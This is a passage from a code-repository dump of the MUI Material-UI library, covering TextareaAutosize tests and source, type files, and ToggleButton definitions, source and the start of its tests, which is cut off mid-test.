     boxSizing: 'border-box',\n          borderBottomWidth: `${border}px`,\n        },\n        scrollHeight: 30,\n        lineHeight: 15,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${30 + border}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n    });\n\n    it('should take the padding into account with content-box', () => {\n      const padding = 5;\n      const { forceUpdate } = render(<TextareaAutosize />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'border-box',\n          paddingTop: `${padding}px`,\n        },\n        scrollHeight: 30,\n        lineHeight: 15,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${30 + padding}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n    });\n\n    it('should have at least height of \"minRows\"', () => {\n      const minRows = 3;\n      const lineHeight = 15;\n      const { forceUpdate } = render(<TextareaAutosize minRows={minRows} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n        },\n        scrollHeight: 30,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * minRows}px`);\n      expect(input.style).to.have.property('overflow', '');\n    });\n\n    it('should have at max \"maxRows\" rows', () => {\n      const maxRows = 3;\n      const lineHeight = 15;\n      const { forceUpdate } = render(<TextareaAutosize maxRows={maxRows} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n        },\n        scrollHeight: 100,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * maxRows}px`);\n      expect(input.style).to.have.property('overflow', '');\n    });\n\n    it('should show scrollbar when having more rows than \"maxRows\"', () => {\n      const maxRows = 3;\n      const lineHeight = 15;\n      const { forceUpdate } = render(<TextareaAutosize maxRows={maxRows} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'border-box',\n        },\n        scrollHeight: lineHeight * 2,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * 2}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'border-box',\n        },\n        scrollHeight: lineHeight * 3,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * 3}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'border-box',\n        },\n        scrollHeight: lineHeight * 4,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * 3}px`);\n      expect(input.style).to.have.property('overflow', '');\n    });\n\n    it('should update its height when the \"maxRows\" prop changes', () => {\n      const lineHeight = 15;\n      const { forceUpdate, setProps } = render(<TextareaAutosize maxRows={3} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n        },\n        scrollHeight: 100,\n        lineHeight,\n      });\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * 3}px`);\n      expect(input.style).to.have.property('overflow', '');\n      setProps({ maxRows: 2 });\n      expect(input.style).to.have.property('height', `${lineHeight * 2}px`);\n      expect(input.style).to.have.property('overflow', '');\n    });\n\n    it('should not sync height if container width is 0px', () => {\n      const lineHeight = 15;\n      const { forceUpdate } = render(<TextareaAutosize />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n        },\n        scrollHeight: lineHeight * 2,\n        lineHeight,\n      });\n      forceUpdate();\n\n      expect(input.style).to.have.property('height', `${lineHeight * 2}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n          width: '0px',\n        },\n        scrollHeight: lineHeight * 3,\n        lineHeight,\n      });\n\n      forceUpdate();\n      expect(input.style).to.have.property('height', `${lineHeight * 2}px`);\n      expect(input.style).to.have.property('overflow', 'hidden');\n    });\n\n    it('should compute the correct height if padding-right is greater than 0px', () => {\n      const paddingRight = 50;\n      const { forceUpdate } = render(<TextareaAutosize style={{ paddingRight }} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      const contentWidth = 100;\n      const lineHeight = 15;\n      const width = contentWidth + paddingRight;\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'border-box',\n          width: `${width}px`,\n        },\n        scrollHeight: () => {\n          // assuming that the width of the word is 1px, and subtract the width of the paddingRight\n          const lineNum = Math.ceil(\n            input.value.length / (width - getStyleValue(shadow.style.paddingRight)),\n          );\n          return lineNum * lineHeight;\n        },\n        lineHeight,\n      });\n\n      act(() => {\n        input.focus();\n      });\n      const activeElement = document.activeElement!;\n      // set the value of the input to be 1 larger than its content width\n      fireEvent.change(activeElement, {\n        target: { value: new Array(contentWidth + 1).fill('a').join('') },\n      });\n      forceUpdate();\n\n      // the input should be 2 lines\n      expect(input.style).to.have.property('height', `${lineHeight * 2}px`);\n    });\n  });\n\n  it.skipIf(isJsdom())('should apply the inline styles using the \"style\" prop', function test() {\n    render(<TextareaAutosize style={{ backgroundColor: 'yellow' }} />);\n    const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n      hidden: false,\n    });\n\n    expect(input).toHaveComputedStyle({\n      backgroundColor: 'rgb(255, 255, 0)',\n    });\n  });\n\n  // edge case: https://github.com/mui/material-ui/issues/45307\n  // document selectionchange event doesn't fire in JSDOM\n  it.skipIf(isJsdom())('should not infinite loop document selectionchange', async function test() {\n    const handleSelectionChange = spy();\n\n    function App() {\n      React.useEffect(() => {\n        document.addEventListener('selectionchange', handleSelectionChange);\n        return () => {\n          document.removeEventListener('selectionchange', handleSelectionChange);\n        };\n      }, []);\n\n      return (\n        <TextareaAutosize defaultValue=\"some long text that makes the input start with multiple rows\" />\n      );\n    }\n\n    render(<App />);\n    await sleep(100);\n    // when the component mounts and idles this fires 3 times in browser tests\n    // and 2 times in a real browser\n    expect(handleSelectionChange.callCount).to.lessThanOrEqual(3);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TextareaAutosize/TextareaAutosize.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport debounce from '@mui/utils/debounce';\nimport useForkRef from '@mui/utils/useForkRef';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport ownerWindow from '@mui/utils/ownerWindow';\nimport { TextareaAutosizeProps } from './TextareaAutosize.types';\n\nfunction getStyleValue(value: string) {\n  return parseInt(value, 10) || 0;\n}\n\nconst styles: {\n  shadow: React.CSSProperties;\n} = {\n  shadow: {\n    // Visibility needed to hide the extra text area on iPads\n    visibility: 'hidden',\n    // Remove from the content flow\n    position: 'absolute',\n    // Ignore the scrollbar width\n    overflow: 'hidden',\n    height: 0,\n    top: 0,\n    left: 0,\n    // Create a new layer, increase the isolation of the computed values\n    transform: 'translateZ(0)',\n  },\n};\n\ntype TextareaStyles = {\n  outerHeightStyle: number;\n  overflowing: boolean;\n};\n\nfunction isObjectEmpty(object: TextareaStyles) {\n  // eslint-disable-next-line\n  for (const _ in object) {\n    return false;\n  }\n  return true;\n}\n\nfunction isEmpty(obj: TextareaStyles) {\n  return isObjectEmpty(obj) || (obj.outerHeightStyle === 0 && !obj.overflowing);\n}\n\n/**\n *\n * Demos:\n *\n * - [Textarea Autosize](https://next.mui.com/material-ui/react-textarea-autosize/)\n *\n * API:\n *\n * - [TextareaAutosize API](https://next.mui.com/material-ui/api/textarea-autosize/)\n */\nconst TextareaAutosize = React.forwardRef(function TextareaAutosize(\n  props: TextareaAutosizeProps,\n  forwardedRef: React.ForwardedRef<Element>,\n) {\n  const { onChange, maxRows, minRows = 1, style, value, ...other } = props;\n\n  const { current: isControlled } = React.useRef(value != null);\n  const textareaRef = React.useRef<HTMLTextAreaElement>(null);\n  const handleRef = useForkRef(forwardedRef, textareaRef);\n  const heightRef = React.useRef<number>(null);\n  const hiddenTextareaRef = React.useRef<HTMLTextAreaElement>(null);\n\n  const calculateTextareaStyles = React.useCallback(() => {\n    const textarea = textareaRef.current;\n    const hiddenTextarea = hiddenTextareaRef.current;\n\n    if (!textarea || !hiddenTextarea) {\n      return undefined;\n    }\n\n    const containerWindow = ownerWindow(textarea);\n    const computedStyle = containerWindow.getComputedStyle(textarea);\n\n    // If input's width is shrunk and it's not visible, don't sync height.\n    if (computedStyle.width === '0px') {\n      return {\n        outerHeightStyle: 0,\n        overflowing: false,\n      };\n    }\n\n    hiddenTextarea.style.width = computedStyle.width;\n    hiddenTextarea.value = textarea.value || props.placeholder || 'x';\n    if (hiddenTextarea.value.slice(-1) === '\\n') {\n      // Certain fonts which overflow the line height will cause the textarea\n      // to report a different scrollHeight depending on whether the last line\n      // is empty. Make it non-empty to avoid this issue.\n      hiddenTextarea.value += ' ';\n    }\n\n    const boxSizing = computedStyle.boxSizing;\n    const padding =\n      getStyleValue(computedStyle.paddingBottom) + getStyleValue(computedStyle.paddingTop);\n    const border =\n      getStyleValue(computedStyle.borderBottomWidth) + getStyleValue(computedStyle.borderTopWidth);\n\n    // The height of the inner content\n    const innerHeight = hiddenTextarea.scrollHeight;\n\n    // Measure height of a textarea with a single row\n    hiddenTextarea.value = 'x';\n    const singleRowHeight = hiddenTextarea.scrollHeight;\n\n    // The height of the outer content\n    let outerHeight = innerHeight;\n\n    if (minRows) {\n      outerHeight = Math.max(Number(minRows) * singleRowHeight, outerHeight);\n    }\n    if (maxRows) {\n      outerHeight = Math.min(Number(maxRows) * singleRowHeight, outerHeight);\n    }\n    outerHeight = Math.max(outerHeight, singleRowHeight);\n\n    // Take the box sizing into account for applying this value as a style.\n    const outerHeightStyle = outerHeight + (boxSizing === 'border-box' ? padding + border : 0);\n    const overflowing = Math.abs(outerHeight - innerHeight) <= 1;\n\n    return { outerHeightStyle, overflowing };\n  }, [maxRows, minRows, props.placeholder]);\n\n  const didHeightChange = useEventCallback(() => {\n    const textarea = textareaRef.current;\n    const textareaStyles = calculateTextareaStyles();\n\n    if (!textarea || !textareaStyles || isEmpty(textareaStyles)) {\n      return false;\n    }\n\n    const outerHeightStyle = textareaStyles.outerHeightStyle;\n\n    return heightRef.current != null && heightRef.current !== outerHeightStyle;\n  });\n\n  const syncHeight = React.useCallback(() => {\n    const textarea = textareaRef.current;\n    const textareaStyles = calculateTextareaStyles();\n\n    if (!textarea || !textareaStyles || isEmpty(textareaStyles)) {\n      return;\n    }\n\n    const outerHeightStyle = textareaStyles.outerHeightStyle;\n    if (heightRef.current !== outerHeightStyle) {\n      heightRef.current = outerHeightStyle;\n      textarea.style.height = `${outerHeightStyle}px`;\n    }\n    textarea.style.overflow = textareaStyles.overflowing ? 'hidden' : '';\n  }, [calculateTextareaStyles]);\n\n  const frameRef = React.useRef(-1);\n\n  useEnhancedEffect(() => {\n    const debouncedHandleResize = debounce(syncHeight);\n    const textarea = textareaRef?.current;\n\n    if (!textarea) {\n      return undefined;\n    }\n\n    const containerWindow = ownerWindow(textarea);\n\n    containerWindow.addEventListener('resize', debouncedHandleResize);\n\n    let resizeObserver: ResizeObserver;\n\n    if (typeof ResizeObserver !== 'undefined') {\n      resizeObserver = new ResizeObserver(() => {\n        if (didHeightChange()) {\n          // avoid \"ResizeObserver loop completed with undelivered notifications\" error\n          // by temporarily unobserving the textarea element while manipulating the height\n          // and reobserving one frame later\n          resizeObserver.unobserve(textarea);\n          cancelAnimationFrame(frameRef.current);\n          syncHeight();\n          frameRef.current = requestAnimationFrame(() => {\n            resizeObserver.observe(textarea);\n          });\n        }\n      });\n      resizeObserver.observe(textarea);\n    }\n\n    return () => {\n      debouncedHandleResize.clear();\n      cancelAnimationFrame(frameRef.current);\n      containerWindow.removeEventListener('resize', debouncedHandleResize);\n      if (resizeObserver) {\n        resizeObserver.disconnect();\n      }\n    };\n  }, [calculateTextareaStyles, syncHeight, didHeightChange]);\n\n  useEnhancedEffect(() => {\n    syncHeight();\n  });\n\n  const handleChange = (event: React.ChangeEvent<HTMLTextAreaElement>) => {\n    if (!isControlled) {\n      syncHeight();\n    }\n\n    const textarea = event.target;\n    const countOfCharacters = textarea.value.length;\n    const isLastCharacterNewLine = textarea.value.endsWith('\\n');\n    const isEndOfTheLine = textarea.selectionStart === countOfCharacters;\n\n    // Set the cursor position to the very end of the text.\n    if (isLastCharacterNewLine && isEndOfTheLine) {\n      textarea.setSelectionRange(countOfCharacters, countOfCharacters);\n    }\n\n    if (onChange) {\n      onChange(event);\n    }\n  };\n\n  return (\n    <React.Fragment>\n      <textarea\n        value={value}\n        onChange={handleChange}\n        ref={handleRef}\n        // Apply the rows prop to get a \"correct\" first SSR paint\n        rows={minRows as number}\n        style={style}\n        {...other}\n      />\n      <textarea\n        aria-hidden\n        className={props.className}\n        readOnly\n        ref={hiddenTextareaRef}\n        tabIndex={-1}\n        style={{\n          ...styles.shadow,\n          ...style,\n          paddingTop: 0,\n          paddingBottom: 0,\n        }}\n      />\n    </React.Fragment>\n  );\n}) as React.ForwardRefExoticComponent<TextareaAutosizeProps & React.RefAttributes<Element>>;\n\nTextareaAutosize.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Maximum number of rows to display.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display.\n   * @default 1\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * @ignore\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  placeholder: PropTypes.string,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * @ignore\n   */\n  value: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.string),\n    PropTypes.number,\n    PropTypes.string,\n  ]),\n} as any;\n\nexport default TextareaAutosize;\n"
  },
  {
    "path": "packages/mui-material/src/TextareaAutosize/TextareaAutosize.types.ts",
    "content": "import * as React from 'react';\n\nexport interface TextareaAutosizeProps extends Omit<\n  React.TextareaHTMLAttributes<HTMLTextAreaElement>,\n  'children' | 'rows'\n> {\n  ref?: React.Ref<HTMLTextAreaElement> | undefined;\n  /**\n   * Maximum number of rows to display.\n   */\n  maxRows?: string | number | undefined;\n  /**\n   * Minimum number of rows to display.\n   * @default 1\n   */\n  minRows?: string | number | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/TextareaAutosize/index.d.ts",
    "content": "export { default } from './TextareaAutosize';\nexport * from './TextareaAutosize';\nexport * from './TextareaAutosize.types';\n"
  },
  {
    "path": "packages/mui-material/src/TextareaAutosize/index.js",
    "content": "export { default } from './TextareaAutosize';\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/ToggleButton.d.ts",
    "content": "import { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport * as React from 'react';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { ToggleButtonClasses } from './toggleButtonClasses';\n\nexport interface ToggleButtonPropsSizeOverrides {}\n\nexport interface ToggleButtonPropsColorOverrides {}\n\nexport interface ToggleButtonOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ToggleButtonClasses> | undefined;\n  /**\n   * The color of the button when it is in an active state.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color?:\n    | OverridableStringUnion<\n        'standard' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        ToggleButtonPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * If `true`, the button will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * Callback fired when the state changes.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected button.\n   */\n  onChange?: ((event: React.MouseEvent<HTMLElement>, value: any) => void) | undefined;\n  /**\n   * Callback fired when the button is clicked.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected button.\n   */\n  onClick?: ((event: React.MouseEvent<HTMLElement>, value: any) => void) | undefined;\n  /**\n   * If `true`, the button is rendered in an active state.\n   */\n  selected?: boolean | undefined;\n  /**\n   * The size of the component.\n   * The prop defaults to the value inherited from the parent ToggleButtonGroup component.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', ToggleButtonPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value to associate with the button when selected in a\n   * ToggleButtonGroup.\n   */\n  value: NonNullable<unknown>;\n}\n\nexport type ToggleButtonTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'button',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & ToggleButtonOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Toggle Button](https://next.mui.com/material-ui/react-toggle-button/)\n *\n * API:\n *\n * - [ToggleButton API](https://next.mui.com/material-ui/api/toggle-button/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const ToggleButton: ExtendButtonBase<ToggleButtonTypeMap>;\n\nexport type ToggleButtonProps<\n  RootComponent extends React.ElementType = ToggleButtonTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ToggleButtonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ToggleButton;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/ToggleButton.js",
    "content": "'use client';\n// @inheritedComponent ButtonBase\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport resolveProps from '@mui/utils/resolveProps';\nimport composeClasses from '@mui/utils/composeClasses';\nimport ButtonBase from '../ButtonBase';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport toggleButtonClasses, { getToggleButtonUtilityClass } from './toggleButtonClasses';\nimport ToggleButtonGroupContext from '../ToggleButtonGroup/ToggleButtonGroupContext';\nimport ToggleButtonGroupButtonContext from '../ToggleButtonGroup/ToggleButtonGroupButtonContext';\nimport isValueSelected from '../ToggleButtonGroup/isValueSelected';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, fullWidth, selected, disabled, size, color } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      selected && 'selected',\n      disabled && 'disabled',\n      fullWidth && 'fullWidth',\n      `size${capitalize(size)}`,\n      color,\n    ],\n  };\n\n  return composeClasses(slots, getToggleButtonUtilityClass, classes);\n};\n\nconst ToggleButtonRoot = styled(ButtonBase, {\n  name: 'MuiToggleButton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[`size${capitalize(ownerState.size)}`]];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.button,\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    padding: 11,\n    border: `1px solid ${(theme.vars || theme).palette.divider}`,\n    color: (theme.vars || theme).palette.action.active,\n    [`&.${toggleButtonClasses.disabled}`]: {\n      color: (theme.vars || theme).palette.action.disabled,\n      border: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n    },\n    '&:hover': {\n      textDecoration: 'none',\n      // Reset on mouse devices\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.text.primary,\n        (theme.vars || theme).palette.action.hoverOpacity,\n      ),\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    variants: [\n      {\n        props: { color: 'standard' },\n        style: {\n          [`&.${toggleButtonClasses.selected}`]: {\n            color: (theme.vars || theme).palette.text.primary,\n            backgroundColor: theme.alpha(\n              (theme.vars || theme).palette.text.primary,\n              (theme.vars || theme).palette.action.selectedOpacity,\n            ),\n            '&:hover': {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette.text.primary,\n                `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n              ),\n              // Reset on touch devices, it doesn't add specificity\n              '@media (hover: none)': {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette.text.primary,\n                  (theme.vars || theme).palette.action.selectedOpacity,\n                ),\n              },\n            },\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            [`&.${toggleButtonClasses.selected}`]: {\n              color: (theme.vars || theme).palette[color].main,\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette[color].main,\n                (theme.vars || theme).palette.action.selectedOpacity,\n              ),\n              '&:hover': {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n                ),\n                // Reset on touch devices, it doesn't add specificity\n                '@media (hover: none)': {\n                  backgroundColor: theme.alpha(\n                    (theme.vars || theme).palette[color].main,\n                    (theme.vars || theme).palette.action.selectedOpacity,\n                  ),\n                },\n              },\n            },\n          },\n        })),\n      {\n        props: { fullWidth: true },\n        style: {\n          width: '100%',\n        },\n      },\n      {\n        props: { size: 'small' },\n        style: {\n          padding: 7,\n          fontSize: theme.typography.pxToRem(13),\n        },\n      },\n      {\n        props: { size: 'large' },\n        style: {\n          padding: 15,\n          fontSize: theme.typography.pxToRem(15),\n        },\n      },\n    ],\n  })),\n);\n\nconst ToggleButton = React.forwardRef(function ToggleButton(inProps, ref) {\n  // props priority: `inProps` > `contextProps` > `themeDefaultProps`\n  const { value: contextValue, ...contextProps } = React.useContext(ToggleButtonGroupContext);\n  const toggleButtonGroupButtonContextPositionClassName = React.useContext(\n    ToggleButtonGroupButtonContext,\n  );\n  const resolvedProps = resolveProps(\n    { ...contextProps, selected: isValueSelected(inProps.value, contextValue) },\n    inProps,\n  );\n  const props = useDefaultProps({ props: resolvedProps, name: 'MuiToggleButton' });\n  const {\n    children,\n    className,\n    color = 'standard',\n    disabled = false,\n    disableFocusRipple = false,\n    fullWidth = false,\n    onChange,\n    onClick,\n    selected,\n    size = 'medium',\n    value,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    disabled,\n    disableFocusRipple,\n    fullWidth,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const handleChange = (event) => {\n    if (onClick) {\n      onClick(event, value);\n      if (event.defaultPrevented) {\n        return;\n      }\n    }\n\n    if (onChange) {\n      onChange(event, value);\n    }\n  };\n\n  const positionClassName = toggleButtonGroupButtonContextPositionClassName || '';\n\n  return (\n    <ToggleButtonRoot\n      className={clsx(contextProps.className, classes.root, className, positionClassName)}\n      internalNativeButton\n      disabled={disabled}\n      focusRipple={!disableFocusRipple}\n      ref={ref}\n      onClick={handleChange}\n      onChange={onChange}\n      value={value}\n      ownerState={ownerState}\n      aria-pressed={selected}\n      {...other}\n    >\n      {children}\n    </ToggleButtonRoot>\n  );\n});\n\nToggleButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the button when it is in an active state.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['standard', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * If `true`, the button will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * Callback fired when the state changes.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected button.\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback fired when the button is clicked.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected button.\n   */\n  onClick: PropTypes.func,\n  /**\n   * If `true`, the button is rendered in an active state.\n   */\n  selected: PropTypes.bool,\n  /**\n   * The size of the component.\n   * The prop defaults to the value inherited from the parent ToggleButtonGroup component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value to associate with the button when selected in a\n   * ToggleButtonGroup.\n   */\n  value: PropTypes /* @typescript-to-proptypes-ignore */.any.isRequired,\n};\n\nexport default ToggleButton;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/ToggleButton.spec.tsx",
    "content": "import ToggleButton from '@mui/material/ToggleButton';\n\n<ToggleButton value=\"\" onChange={(event, value: string) => {}} onClick={(event, value) => {}} />;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/ToggleButton.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport ToggleButton, { toggleButtonClasses as classes } from '@mui/material/ToggleButton';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ToggleButton />', () => {\n  const { render, renderToString } = createRenderer();\n\n  describeConformance(<ToggleButton value=\"X\">Hello, World!</ToggleButton>, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiToggleButton',\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'size', value: 'large', styleKey: 'sizeLarge' },\n    refInstanceof: window.HTMLButtonElement,\n    testComponentPropWith: 'div',\n    skip: ['componentProp'],\n  }));\n\n  it('adds the `selected` class to the root element if selected={true}', () => {\n    render(\n      <ToggleButton data-testid=\"root\" selected value=\"hello\">\n        Hello World\n      </ToggleButton>,\n    );\n\n    expect(screen.getByTestId('root')).to.have.class(classes.selected);\n  });\n\n  describe('prop: color', () => {\n    it('adds the class if color=\"primary\"', () => {\n      render(\n        <ToggleButton data-testid=\"root\" color=\"primary\" value=\"hello\">\n          Hello World\n        </ToggleButton>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.primary);\n    });\n  });\n\n  it('should render a disabled button if `disabled={true}`', () => {\n    render(\n      <ToggleButton disabled value=\"hello\">\n   